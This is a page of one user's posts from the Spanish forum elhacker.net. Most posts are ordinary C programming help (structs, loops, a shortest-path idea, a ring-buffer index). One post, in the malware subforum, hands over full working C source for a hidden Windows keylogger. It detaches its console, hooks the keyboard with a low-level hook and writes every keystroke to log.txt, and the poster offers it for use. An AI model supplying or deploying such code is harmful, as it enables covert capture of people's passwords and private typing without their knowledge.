elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ... 51
201  Programación / Programación C/C++ / Re: Problema de compilación en: 9 Agosto 2013, 06:10 am
Código
  1. struct Array {int *v; int n;};

Te faltó el ';' al final de la declaración del struct. Debajo tienes la siguiente declaración:

Código
  1. Array ArrayCreaAleatorio(int linf, int lsup)
  2. {
  3.      Array a;
  4.      //...

Y bueno para declarar el tipo de retorno de la función y la variable de esta manera deberías usar lo siguiente para declarar el struct:

Código
  1. typedef struct {int *v; int n;} Array;

Si quieres declarar el struct tal y como lo tenías antes entonces deberías declarar el tipo de retorno y la variable de esta manera:

Código
  1. struct Array ArrayCreaAleatorio(int linf, int lsup)
  2. {
  3.      struct Array a;
  4.      //...

No sé si tendrás el mismo error en otras líneas, pero bueno eso ya te lo dejo a ti.

Saludos.
202  Foros Generales / Foro Libre / Re: Curiosidad filosófica. Vida y máquinas en: 2 Julio 2013, 23:26 pm
Citar
Propiedad de los seres orgánicos por la cual crecen, se reproducen y responden a estímulos: los minerales no tienen vida.

Que yo sepa el silicio, oro, cobre, fibra de vidrio, y demás materiales usados en la electrónica no son orgánicos. Lo mismo para acero, aluminio, y otros metales que podrían usarse para hacer ese hipotético robot.

Saludos.
203  Programación / Programación C/C++ / Re: Duda con structs C/C++ en: 21 Junio 2013, 14:58 pm
Pues diciéndomelo tan seguro me esperaba que cambiara, pero si te soy sincero la salida de p1 es la del principio, sin la 'z' modificada xD

EDITO:

De hecho poder se puede:

http://stackoverflow.com/questions/9127246/copy-struct-to-struct-in-c

Lo único que no sé a qué se refiere con estructuras simples. Esta noche con más calma lo miro bien, que desde siempre he creído que se podían copiar y ahora resulta que no es tan trivial...

Saludos.
204  Programación / Programación C/C++ / Re: Duda con structs C/C++ en: 21 Junio 2013, 14:42 pm
Pues a mi esto me funciona perfectamente...

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. struct prueba {
  5. int a;
  6. char b;
  7. char c[100];
  8. };
  9.  
  10. int main()
  11. {
  12. struct prueba p1, p2, *p3, p4;
  13.  
  14. // se inicializa p1
  15. p1.a = 10;
  16. p1.b = 'A';
  17. strcpy(p1.c, "ola k ase");
  18.  
  19. // se copia p1 a p2 y se imprime
  20. p2 = p1;
  21. printf("p2: %d %c %s\n", p2.a, p2.b, p2.c);
  22.  
  23. // p3 apunta a p1
  24. p3 = &p1;
  25.  
  26. // se copia *p3 a p4 y se imprime
  27. p4 = *p3;
  28. printf("p4: %d %c %s\n", p4.a, p4.b, p4.c);
  29. return 0;
  30. }

Así que sí, puedes copiar structs directamente. En el ejemplo que te he dado también lo tienes con punteros.

Saludos.
205  Programación / Programación C/C++ / Re: Obtener ruta más corta en: 14 Junio 2013, 23:26 pm
Citar
La ruta más corta sería:
(7,2)
(7,9)
(10,9)

De hecho hay varias que son las más cortas. La que indicas es de 14 cuadrados, igual que por ejemplo, (2, 7) - (9, 7) - (9, 10) o (8, 2) - (8, 3) - (9, 3) - (9, 10), donde el primer número sería la fila y el segundo la columna.

Como primera aproximación, podrías intentar que el cuadrado rojo vaya alternativamente hacia la coordenada x e y del cuadrado azul. Es decir, primero intente ir hasta la coordenada x, si llega a la fila o columna donde está el azul o choca con algo que entonces intente ir hasta la y, si vuelve a chocar que vaya a la x, etc. y así hasta que llegue. En el ejemplo que pones, este algoritmo daría alguna de las soluciones que te he comentado arriba.

Igualmente es demasiado simple así que no le pidas mucho... Si por ejemplo llegaras a chocar y el cuadrado rojo estuviera rodeado por obstáculos, ahí te quedarías... O si chocas con algo mientras estás en la fila o columna donde está el cuadrado azul, te quedarías ahí también...

Pero bueno, igual te da alguna idea para poder empezar.

Saludos!
206  Programación / Programación C/C++ / Re: Problema en C. ¿Os pasa lo mismo? en: 14 Junio 2013, 23:06 pm
Tienes un problema con el algoritmo, debería ser algo así:

Código
  1. do
  2. {
  3.   scanf("%d", &numero);
  4.   if (numero > nombreMystere)
  5.   {
  6.         printf("Menos! Intenta otra vez\n");
  7.   }
  8.   else if (numero < nombreMystere)
  9.   {
  10.         printf("Mas! Intenta otra vez\n");
  11.   }
  12. } while (numero != nombreMystere);
  13.  
  14. printf("Has ganado!\n");

Saludos!
207  Foros Generales / Noticias / Re: La policía asalta por error las oficinas de Robotoki en: 3 Junio 2013, 21:29 pm
Citar
"Uno de nuestros diseñadores presionó el botón porque aparentemente cuando los niños encuentran botones y no están seguros de para qué sirven, su primer instinto es pulsarlo"

Zas! xD
208  Seguridad Informática / Análisis y Diseño de Malware / Re: Keylogger en C en: 2 Junio 2013, 14:53 pm
Hola, te dejo aquí un código de un keylogger que hice hace bastante tiempo. Coge todas las letras y las guarda en el archivo de texto de esta manera: [letra]. El programa corre en segundo plano oculto, así que cuando quieras acabarlo abre el administrador de tareas y cierra su proceso.

Código
  1. #include <windows.h>
  2. #include <winuser.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5.  
  6. // global hook handle is needed to use a low-level keyboard hook
  7. HHOOK hProc;
  8.  
  9. __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
  10. DWORD __stdcall Keylogger (LPVOID path);
  11. void MessageLoop (void);
  12.  
  13. int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
  14.  
  15. FreeConsole ();
  16. nShowCmd = SW_HIDE;
  17. LPTSTR execName = GetCommandLine ();
  18. HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
  19.  
  20. if (hThread) return WaitForSingleObject (hThread, INFINITE);
  21.  
  22. return 1;
  23. }
  24.  
  25. __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
  26.  
  27. if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
  28.  
  29. // info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
  30. KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
  31.  
  32. // prepare the first parameter for the function GetKeyNameText() picking only the important information
  33. DWORD keyMessage = 1;
  34. keyMessage |= keyInfo.scanCode << 16;
  35. keyMessage |= (keyInfo.flags & 1) << 24;
  36.  
  37. // load the key name in a buffer
  38. char keyName[0x100];
  39. memset (keyName, 0, 0x100);
  40. keyName[0] = '[';
  41. int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
  42. keyName[i+1] = ']';
  43.  
  44. // write the buffer in file
  45. FILE *f = fopen ("log.txt", "a+");
  46. fputs (keyName, f);
  47. fclose (f);
  48. }
  49.  
  50. return CallNextHookEx (NULL, nCode, wParam, lParam);
  51. }
  52.  
  53. DWORD __stdcall Keylogger (LPVOID path) {
  54.  
  55. // try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
  56. HINSTANCE hExec = GetModuleHandle (NULL);
  57. if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
  58.  
  59. // two methods failed so return error
  60. if (!hExec) return 1;
  61.  
  62. // install the hook
  63. hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
  64.  
  65. // message loop to manage all the incoming messages
  66. MessageLoop ();
  67. UnhookWindowsHookEx (hProc);
  68. return 0;
  69. }
  70.  
  71. void MessageLoop (void) {
  72.  
  73. MSG message;
  74.  
  75. while (GetMessage (&message, NULL, 0, 0)) {
  76.  
  77. TranslateMessage (&message);
  78. DispatchMessage (&message);
  79. }
  80. }
  81.  

Espero que te sirva, saludos!
209  Programación / Programación C/C++ / Re: Vectores vs Listas en: 1 Junio 2013, 15:50 pm
Vale ahora lo he entendido, no solo hay que procesar los disparos sino que si no han impactado o salido del mapa no se deben borrar y por lo tanto se deben volver a comprobar más tarde.

Me he levantado hace poco y estoy algo espeso... xD

A ver si luego doy con alguna idea y te comento.

Un saludo!
210  Programación / Programación C/C++ / Re: Vectores vs Listas en: 1 Junio 2013, 14:50 pm
Por que te lo cargas?

Código:
while (in != out) ComprobarDisparo(disparos[out++]);

Si 'in' ha pasado por ejemplo a 3, y 'out' está en 255, al sumarle uno a 'out' este pasa a 0. Como los índices siguen siendo distintos, se seguirá en el bucle hasta que los índices sean iguales.
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ... 51
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines